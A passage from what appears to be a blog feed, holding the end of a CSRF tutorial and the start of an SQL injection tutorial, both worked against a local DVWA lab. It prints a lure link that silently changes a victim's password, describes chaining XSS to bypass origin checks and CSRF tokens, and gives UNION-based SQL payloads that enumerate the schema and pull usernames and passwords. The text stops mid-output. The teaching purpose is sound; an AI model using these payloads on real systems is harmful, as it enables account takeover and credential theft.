&lt;blockquote&gt;
&lt;p&gt;"The server generates a token comprised of the user's session ID and timestamp (to prevent replay attacks) using a unique key available only on the server. This token is returned to the client and embedded in a hidden field for forms, in the request-header/parameter for AJAX requests. On receipt of this request, the server reads and decrypts the token value with the same key used to create the token."&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;
- &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#encryption-based-token-pattern"&gt;OWASP, CSRF Prevention, Encryption based&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;CSRF tokens should not be transmitted using cookies. If they would, the exploit will still be valid as it assumes the cookie through the victim, essentially using the generated token too.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Origin Validation - Using &lt;code&gt;Origin&lt;/code&gt; or &lt;code&gt;Referer&lt;/code&gt; headers, the application can validate the source of a request. This is not considered a high standard of protection as it is still exposed to &lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored"&gt;stored XSS&lt;/a&gt; vulnerabilities. If a user manager to inject a malicious script in a vulnerable location on the application, the script will bypass the protection since it'll be triggered from &lt;strong&gt;within&lt;/strong&gt; the domain name.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Prevent cross-site-scripting (&lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;) - This is a topic of an entire post on its own but I'll keep it short. Use a protection library if possible, and read through the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"&gt;OWASP XSS prevention cheat sheet&lt;/a&gt;. Search and block all kind of scripting to fields, treat them all as texts, or escape as much as possible. Rule of thumb: escaping will never cover ass possibilities if possible avoid.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So, let's get back to earth. There's no need to invent the wheel. Most of the well-known web frameworks and CMS products out there have already done the work for you, or there's a community solution. Here's a partial list you can use to implement CSRF protection:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tech&lt;/th&gt;
&lt;th&gt;Framework&lt;/th&gt;
&lt;th&gt;Comments&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://docs.djangoproject.com/en/3.0/ref/csrf/"&gt;Django&lt;/a&gt;, &lt;a href="https://flask-wtf.readthedocs.io/en/stable/csrf.html"&gt;Flask&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ruby&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://guides.rubyonrails.org/security.html"&gt;Rails&lt;/a&gt;, &lt;a href="https://github.com/baldowl/rack_csrf"&gt;Middleware&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;The middleware is a standalone gem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Javascript / Typescript&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://docs.nestjs.com/techniques/security#csrf"&gt;Nest&lt;/a&gt;, &lt;a href="https://github.com/expressjs/csurf"&gt;Express&lt;/a&gt;, &lt;a href="https://github.com/helmetjs/helmet"&gt;Helmet&lt;/a&gt;
&lt;/td&gt;
&lt;td&gt;Helmet is a standalone library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Golang&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gobuffalo.io/en/docs/forms"&gt;Buffalo&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Buffalo &lt;code&gt;form&lt;/code&gt; is implementing tokens by default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h1&gt;
  
  
  Let's get technical
&lt;/h1&gt;

&lt;p&gt;For the getting-my-hands-dirty part I'm going to use &lt;a href="http://dvwa.co.uk/"&gt;DVWA&lt;/a&gt;. If you want to follow this section it's important to setup DVWA on your local machine (instructions below) and follow closely each step both in the post and in DVWA. Here's how to set it up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa

&lt;span class="c"&gt;# The login screen would be @ http://localhost:8080&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# While the login can be brute-forced, let's keep things simple for now:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Login - User: "admin", Password: "password"&lt;/span&gt;
&lt;span class="c"&gt;# 2. Click "Create / Reset Database"&lt;/span&gt;
&lt;span class="c"&gt;# 3. You're all set. Login again.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When in DVWA interface, select the CSRF module. The instructions below demonstrate all security levels offered by DVWA. In order to change security levels select &lt;code&gt;DVWA Security&lt;/code&gt; from the left-hand-side menu, select the preferred level, and hit &lt;code&gt;Submit&lt;/code&gt;.&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Security level: Low
&lt;/h2&gt;

&lt;p&gt;We're presented with a password and confirmation text box. Providing value and clicking the button fires a request to the server. We can use a proxy or the browser's dev tools to view the password change request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /vulnerabilities/csrf/
  ?password_new=pass
  &amp;amp;password_conf=pass
  &amp;amp;Change=Change HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application seems to send the password and its verification as URI params. Since there is no &lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt; header set, and &lt;code&gt;GET&lt;/code&gt; requests do not require any additional preflight requests of verification &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request"&gt;like POST&lt;/a&gt;, we're good to go. In order to exploit it, a simple social engineering is required. The attacker can build a simple HTML page with a link that leads to the GET request. The idea is, that the target is authenticated to the application with their cookies set. If that's the case, the request will go through, authenticating with the backend automatically since the cookies are already there. Here's an example for the page that can be embedded into an email message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.0.10:8000/vulnerabilities/csrf/
            ?password_new=hacked
            &amp;amp;password_conf=hacked
            &amp;amp;Change=Change"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    View my Pictures!
  &lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;br&gt;&lt;br&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Security level: Medium
&lt;/h2&gt;

&lt;p&gt;The hint by DVWA says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The developer believes if it matches the current domain, it must have come from the web application so it can be trusted."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which means, the request needs to come from the same domain. But if there's a user-interactive system running under the same domain, where a user can &lt;code&gt;POST&lt;/code&gt; input and see it, is it really safe?&lt;/p&gt;

&lt;p&gt;Here comes in the &lt;a href="https://owasp.org/www-community/attacks/xss/"&gt;XSS&lt;/a&gt; exploit: only allowing traffic from your own domain is not a bulletproof solution. If you have some kind of system that users interact with, say, a forum, they can post stuff for others to see. If they’re able to exploit it and inject a script (XSS) and others view it, the attacker will be able to bypass the protection of the same-domain setting and still launch the CSRF attack on others.&lt;/p&gt;

&lt;p&gt;Trying to use a form here won't do any good since the application blocks any incoming request from an external domain and shoots out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;That request didn't look correct.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In order to make the request originate from the domain, we need to use some kind of script injection to the application pages. As an example: a script / html component that will be loaded and run by the app.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected"&gt;rXSS&lt;/a&gt; to the rescue!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Utilizing a reflected XSS bug in the web app allows bypassing the origin verification. With &lt;code&gt;XSS (Reflected)&lt;/code&gt; on the menu of DVWA, any name inserted is presented on the screen to the user. HTML tags are not escaped so we can utilize the exact same line from the low-security level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.0.10:8000/vulnerabilities/csrf/
        ?password_new=hacked
        &amp;amp;password_conf=hacked
        &amp;amp;Change=Change"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  View my Pictures!
&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When served, it generates a clickable link. The link can then talk to the application from its own origin, using the cookies that are already stored since the user is already authenticated.&lt;/p&gt;

&lt;p&gt;In order to serve the HTML we can set up a private local web server, or as a malicious attacker would do it, send it as an email. With a little help from social engineering, the victim can be lured into opening the mail and hitting the form in it.&lt;/p&gt;

&lt;p&gt;In order to test, we can create the HTML file and run it on a local browser providing our input in the form, where we get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password Changed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;br&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Security level: High
&lt;/h2&gt;

&lt;p&gt;If we use the same form used in the "Medium level" section above, we end up with the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CSRF token is incorrect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;p&gt;What is a CSRF token anyway?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in such a way that it is included in a subsequent HTTP request made by the client. When the later request is made, the server-side application validates that the request includes the expected token and rejects the request if the token is missing or invalid.&lt;br&gt;CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user. Since the attacker cannot determine or predict the value of a user's CSRF token, they cannot construct a request with all the parameters that are necessary for the application to honor the request.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
- &lt;a href="https://portswigger.net/web-security/csrf/tokens"&gt;Portswigger&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the application is protected by a CSRF dynamic token. How can one exploit it anyway?&lt;/p&gt;

&lt;p&gt;Using a similar method from the medium level, we now utilize a &lt;a href="https://owasp.org/www-community/attacks/DOM_Based_XSS"&gt;DOM XSS&lt;/a&gt;, using the &lt;code&gt;XSS (DOM)&lt;/code&gt; option from the menu. What this means, is that we can run a javascript that's accessible to the browser's &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction"&gt;DOM&lt;/a&gt;. Access to the DOM allows us to programmatically fetch the CSRF token, effectively making it useless.&lt;/p&gt;

&lt;p&gt;While I'm not going to go through the process of creating a DOM XSS on DVWA, &lt;a href="https://www.youtube.com/watch?v=8k9sPF143os"&gt;here's a video&lt;/a&gt; that shows the entire exploit. I do think it's important to understand the risk of being exploited with scripts that can access the DOM, and keep these in the back of your mind when developing the frontend of your application.&lt;/p&gt;

&lt;p&gt;Once the CSRF token is in our possession we can go ahead and use the same form to exploit our victim. The key takeaway from this level is the understanding of how additional seemingly low-risk vulnerabilities, can be chained together into a much-higher-risk attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  General tips for preventing XSS and CSRF and safer coding
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;NEVER&lt;/span&gt; &lt;span class="nx"&gt;PUT&lt;/span&gt; &lt;span class="nx"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="nx"&gt;DATA&lt;/span&gt; &lt;span class="nx"&gt;HERE&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!--...NEVER PUT UNTRUSTED DATA HERE...--&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="na"&gt;NEVER&lt;/span&gt; &lt;span class="na"&gt;PUT&lt;/span&gt; &lt;span class="na"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="na"&gt;DATA&lt;/span&gt; &lt;span class="na"&gt;HERE...=&lt;/span&gt;&lt;span class="s"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;NEVER&lt;/span&gt; &lt;span class="na"&gt;PUT&lt;/span&gt; &lt;span class="na"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="na"&gt;DATA&lt;/span&gt; &lt;span class="na"&gt;HERE...&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/test"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="nc"&gt;.NEVER&lt;/span&gt; &lt;span class="nt"&gt;PUT&lt;/span&gt; &lt;span class="nt"&gt;UNTRUSTED&lt;/span&gt; &lt;span class="nt"&gt;DATA&lt;/span&gt; &lt;span class="nt"&gt;HERE&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;

Never **ever** use GET requests to change data!
POST is the right method here. Not only it requires a structured request, 
it only utilized preflight requests hat help enforcing same-origin-policy and more.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;If you got here, &lt;strong&gt;thank you&lt;/strong&gt; first of all for reading this far. I hope I've helped you understand the risk and maybe even how to exploit it (I know I helped myself). This post was part informational, part notes I've taken trying to dive into the subject. I hope that while it was somewhat a "notebook" structure, it was still valuable and readable. If you have any comments/ideas please do let me know.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>SQL injection for developers</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 05 May 2020 16:41:50 +0000</pubDate>
      <link>https://dev.to/prodopsio/sql-injection-for-developers-2pi</link>
      <guid>https://dev.to/prodopsio/sql-injection-for-developers-2pi</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://omerxx.com/sql-injection-intro"&gt;https://omerxx.com/sql-injection-intro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The basics of how to test and protect your application
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018-2019) period.&lt;/strong&gt;&lt;br&gt;
- &lt;a href="https://www.akamai.com/uk/en/resources/our-thinking/state-of-the-internet-report"&gt;State of the internet 2019&lt;/a&gt;, Akamai&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The quote above says it all. If there's one attack vector to get familiar with as a web developer it's an injection and this one in particular. On the &lt;a href="https://owasp.org/www-project-top-ten/"&gt;OWASP top 10&lt;/a&gt; list injections are ranked first with SQL staring high. The infamous &lt;strong&gt;SQLi&lt;/strong&gt; is very common, easy to automate and can create a lot of unrepairable damage.&lt;/p&gt;

&lt;p&gt;This post is a personal attempt at getting to the bottom of something I &lt;em&gt;needed&lt;/em&gt; to know. I repeatedly tried picking it up with gists and short videos but it didn't go "all the way down". Getting to &lt;strong&gt;know&lt;/strong&gt; SQL injection means sitting down, &lt;em&gt;reading the docs&lt;/em&gt; and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.&lt;/p&gt;

&lt;p&gt;Having that said, it's important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.&lt;/p&gt;




&lt;h1&gt;
  
  
  What is it
&lt;/h1&gt;

&lt;p&gt;SQL Injection (or &lt;strong&gt;SQLi&lt;/strong&gt; in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.&lt;/p&gt;

&lt;p&gt;Performing the attack requires a very simple "hacking tool": your browser, making it accessible and easy both to learn and perform.&lt;/p&gt;

&lt;p&gt;There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client's browser. So, where the developer intended for the user to provide a simple input e.g. &lt;code&gt;User ID&lt;/code&gt;, an attacker may try to &lt;em&gt;inject&lt;/em&gt; an SQL statement. Instead of providing &lt;code&gt;1&lt;/code&gt; for example, consider this input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT password FROM users UNION SELECT '&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn't need to gain access to the physical server. The data is extractable and available in a "legitimate" manner.&lt;/p&gt;




&lt;h1&gt;
  
  
  How to attack
&lt;/h1&gt;

&lt;p&gt;In order to set up a live example, I'm using the infamous &lt;a href="http://dvwa.co.uk"&gt;Damn Vulnerable Web Application&lt;/a&gt;. It's available in different forms but for the sake of demonstration and speed, let's pick the quickest one with Docker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 8080:80 vulnerables/web-dvwa

&lt;span class="c"&gt;# The login screen would be @ http://localhost:8080&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# While the login can be brute-forced, let's keep things simple for now:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Login - User: "admin", Password: "password"&lt;/span&gt;
&lt;span class="c"&gt;# 2. Click "Create / Reset Database"&lt;/span&gt;
&lt;span class="c"&gt;# 3. You're all set. Login again.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Poking for holes
&lt;/h3&gt;

&lt;p&gt;Select the "SQL Injection" module from the menu.&lt;br&gt;
Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be &lt;code&gt;1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1

# ID: 1
# First name: admin
# Surname: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seems like we're being responded with three fields: ID, First name and Surname.&lt;br&gt;
Let's try an escape by providing &lt;code&gt;'&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments.&lt;/p&gt;

&lt;p&gt;Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a "blind SQL injection". More on that further on.&lt;/p&gt;

&lt;p&gt;Back to our injection quest. After using &lt;code&gt;'&lt;/code&gt; the app returned a useful message mentioning an error near &lt;code&gt;'''''&lt;/code&gt;. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.&lt;/p&gt;

&lt;p&gt;The SQL &lt;code&gt;UNION&lt;/code&gt; statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT '&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;used&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;statements&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, let's review the input:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;1'&lt;/code&gt; means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, &lt;code&gt;'&lt;/code&gt; are dangerous when not escaped correctly.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UNION SELECT '2&lt;/code&gt; is a &lt;code&gt;UNION&lt;/code&gt; statement that selects a number and opening another &lt;code&gt;'&lt;/code&gt; to pair with the one waiting at the end of the statement in the backend code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we know the &lt;code&gt;UNION&lt;/code&gt; may work with a few tweaks. When calling an SQL statement with &lt;code&gt;UNION&lt;/code&gt; the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.&lt;/p&gt;

&lt;p&gt;Let's expand the test and provide an additional column:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT 1,'&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Boom!&lt;/strong&gt; The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Step one is getting the DB name to query tables from:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, table_schema from information_schema.tables
   union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;This yields three sets with the databases name under "Surname": "admin", "dvwa", "information_schema".&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We're interested in &lt;code&gt;dvwa&lt;/code&gt;, so we'll pick that and query its schema:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, table_name from information_schema.tables
    where table_schema = '&lt;/span&gt;&lt;span class="n"&gt;dvwa&lt;/span&gt;&lt;span class="s1"&gt;' union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;The query yields table names: "admin", "users", "guestbook"&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;"Users" table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information (&lt;a href="https://en.wikipedia.org/wiki/Personal_data"&gt;PII&lt;/a&gt;). We'll query that (feel free to tinker with the requests and query all available information):&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select 2, column_name from information_schema.columns
    where table_name = '&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;' union select 3,'&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;We're responded with a list of column names. "user" and "password" seems like the interesting ones.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We go on and make a direct query to the "users" table:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users
   union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
